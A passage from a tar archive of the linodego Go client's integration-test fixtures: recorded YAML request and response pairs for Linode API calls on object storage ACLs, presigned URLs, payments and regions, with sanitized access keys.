X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "189" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "private", "acl_xml": "640757b5-ebe9-45b1-abd5-581f215ef89e640757b5-ebe9-45b1-abd5-581f215ef89e640757b5-ebe9-45b1-abd5-581f215ef89e640757b5-ebe9-45b1-abd5-581f215ef89eFULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","acl":"public-read"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "public-read", "acl_xml": "640757b5-ebe9-45b1-abd5-581f215ef89e640757b5-ebe9-45b1-abd5-581f215ef89ehttp://acs.amazonaws.com/groups/global/AllUsersREAD640757b5-ebe9-45b1-abd5-581f215ef89e640757b5-ebe9-45b1-abd5-581f215ef89eFULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "750" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"DELETE","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=RbVnqyWJd6OMpr7Sn7kQOBezqfU%3D&Expires=1720635223&AWSAccessKeyID=SANITIZED", "exists": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "186" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageObject_Smoke.yaml000066400000000000000000000510501474652371000333310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"PUT","content_type":"text/plain","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=UZqhNnak%2FwLVHy0HB2TW87rl%2Baw%3D&Expires=1736322791&AWSAccessKeyID=SANITIZED", "exists": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "191" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "private", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "private", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-list method: GET response: body: '{"data": [{"name": "test", "size": 10, "last_modified": "2018-01-02T03:04:05.723Z", "etag": "7f2ababa423061c509f4923dd04b6cf1", "owner": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936"}], "next_marker": null, "is_truncated": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "222" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","acl":"public-read"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","acl":"public-read"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "public-read", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936http://acs.amazonaws.com/groups/global/AllUsersREADc9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "750" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-acl?name=test method: GET response: body: '{"acl": "public-read", "acl_xml": "c9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936http://acs.amazonaws.com/groups/global/AllUsersREADc9539a32-3ece-47dd-a9a4-40bbfa5a2936c9539a32-3ece-47dd-a9a4-40bbfa5a2936FULL_CONTROL"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "750" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"DELETE","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=q40b1QCD%2FE5YyfsAW%2Fl5vZNfiRs%3D&Expires=1736322799&AWSAccessKeyID=SANITIZED", "exists": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "190" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:47:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorage_transfer.yaml000066400000000000000000000027451474652371000327570ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/transfer method: GET response: body: '{"used": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "11" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestPayment_GetFound.yaml000066400000000000000000000031511474652371000315200ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments?page=1 method: GET response: body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:42:30 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestPayment_GetMissing.yaml000066400000000000000000000027531474652371000320650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments/-1 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:07 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestPayments_List.yaml000066400000000000000000000034161474652371000311070ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments?page=1 method: GET response: body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 17 Jun 2024 19:44:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: ""golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestPlacementGroup_assignment.yaml000066400000000000000000000545571474652371000335050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": 